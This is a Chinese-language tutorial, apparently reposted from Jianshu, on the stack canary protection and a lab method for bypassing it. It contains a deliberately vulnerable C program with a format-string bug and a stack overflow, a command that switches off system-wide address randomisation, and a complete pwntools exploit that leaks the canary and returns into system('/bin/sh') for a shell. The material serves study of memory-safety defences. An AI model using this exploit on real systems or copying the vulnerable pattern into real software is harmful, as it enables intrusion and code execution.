内容简介:Canary主要用于防护栈溢出攻击。我们知道,在32位系统上,对于栈溢出漏洞,攻击者通常是通过溢出栈缓冲区,覆盖栈上保存的函数返回地址来达到劫持程序执行流的目的。Stack canary保护机制在刚进入函数时,在栈上放置一个标志canary,然后 在函数结束时,判断该标志是否被改变,如果被改变,则表示有攻击行为发生。gcc相关参数及意义
| 编辑推荐: |
| 本文来自于简书, 本文主要介绍了Canary机制及绕过策略,通过源码、编译、调试来运行进行实验,希望对您的学习有所帮助。 |
Canary主要用于防护栈溢出攻击。我们知道,在32位系统上,对于栈溢出漏洞,攻击者通常是通过溢出栈缓冲区,覆盖栈上保存的函数返回地址来达到劫持程序执行流的目的。
Stack canary保护机制在刚进入函数时,在栈上放置一个标志canary,然后 在函数结束时,判断该标志是否被改变,如果被改变,则表示有攻击行为发生。
gcc相关参数及意义
-fstack-protector:启用堆栈保护,不过只为局部变量中含有 char 数组的函数插入保护代码
-fstack-protector-all:启用堆栈保护,为所有函数插入保护代码。
-fno-stack-protector:禁用堆栈保护
一,实验源码
文件名:Canary.c
#include
#include
void vul(char *msg_orig)
{
char msg[128];
memcpy(msg,msg_orig,128);
printf(msg);
char shellcode[64];
puts("Now ,plz give me your shellcode:");
read(0,shellcode,256);
}int main()
{
puts("So plz leave your message:");
char msg[128];
memset(msg,0,128);
read(0,msg,128);
vul(msg);
puts("Bye!");
return 0;
}
二,编译
命令:gcc -m32 -ggdb -z execstack -fstack-protector -no-pie -o pwnme Cannary.c
使用ldd pwnme,查看libc文件的加载位置是否会变
如果会改变,为了调试方便,可以使用:echo 0 > /proc/sys/kernel/randomize_va_space,关闭整个系统的地址随机化保护。
运行测试下
三,调试
gdb调试:
在vul函数返回前
我们简单了解了下canary机制,接下来尝试利用格式化字符串漏洞泄露canary的值
泄露Canary
其实canary的值在程序每一次运行都是会改变的
我们在xor下一个断点,测试一下。
重新运行
所以说canary的值具有不可预测性
但是,eax的值来源于gs:0x14,而gs:0x14存在于栈空间上,所以我们只要找到它栈空间上的位置,就可以泄露它的值。接下来我们就利用格式化字符串漏洞泄露Canary
首先在格式化漏洞点printf函数下好断点
运行,输入:AAAAAAAAAA
然后查看栈空间内容,esp = 0xffffd0c0,指向字符串起始位置 = 0xffffd12c
由此可知格式化字符串偏移为 = (0xffffd12c - 0xffffd0c0) / 4 = 27
然后我们在检测处下断点,查看看Canary的值 = 0xd7203900
这时候我们看上一张图,然后你会有一个地方的值是相同的,而这个位址就是canary
同理得到Canary的偏移 = 59,也就是说,在程序调用vul中printf时,输入%59$x'打印出来的就是canary的值。
四,代码
文件名:exp.py
其中涉及到ret2libc,可以先查看https://www.jianshu.com/p/c90530c910b0,再看代码。
因为只是开启Canary,所以解题方法挺多,泄露处Canary就算经典栈溢出也可以。
from pwn import *
p = process('./pwnme')
elf = ELF('/lib32/libc.so.6') #加载的libc文件
libc_base = 0xf7dd1000 #libc基址
system_addr = libc_base + elf.symbols['system'] #system函数地址
bin_sh_addr = libc_base + next(elf.search('/bin/sh')) #'/bin/sh'地址
buf = '%59$x' #构建泄露Canary的格式化字符串
p.recvuntil("message:\n")
p.sendline(buf) #发送
ret_msg = p.recvuntil('\n')
canary = int(ret_msg,16) #接收到返回的Cannary的值
p.recvuntil('shellcode:') #利用栈溢出漏洞
buf = 192 * 'A' #构建buf
buf += p32(canary) #在Canary地址覆盖Canary原本的值,不改变Canary的值从而绕过检查
buf += 28 * 'B'
buf += p32(system_addr)
buf += p32(0xdeadbeef)
buf += p32(bin_sh_addr)
p.sendline(buf) #发送
p.interactive()
五,测试
输入whoami,返回当前用户为root,未报错,得到可产生交互的shell,实验完成!
以上所述就是小编给大家介绍的《Canary机制及绕过策略》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- WAF机制及绕过方法总结:注入篇
- 如何绕过新版Windows的UAC机制
- 看我如何绕过WAF的XSS检测机制
- 挖洞经验 | 绕过Facebook CSRF防护机制实现账户劫持
- 配合格式化字符串漏洞绕过canary保护机制
- 看我如何绕过 iPhone XS 中指针验证机制 (上)
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Designing Data-Intensive Applications
Martin Kleppmann / O'Reilly Media / 2017-4-2 / USD 44.99
Data is at the center of many challenges in system design today. Difficult issues need to be figured out, such as scalability, consistency, reliability, efficiency, and maintainability. In addition, w......一起来看看 《Designing Data-Intensive Applications》 这本书的介绍吧!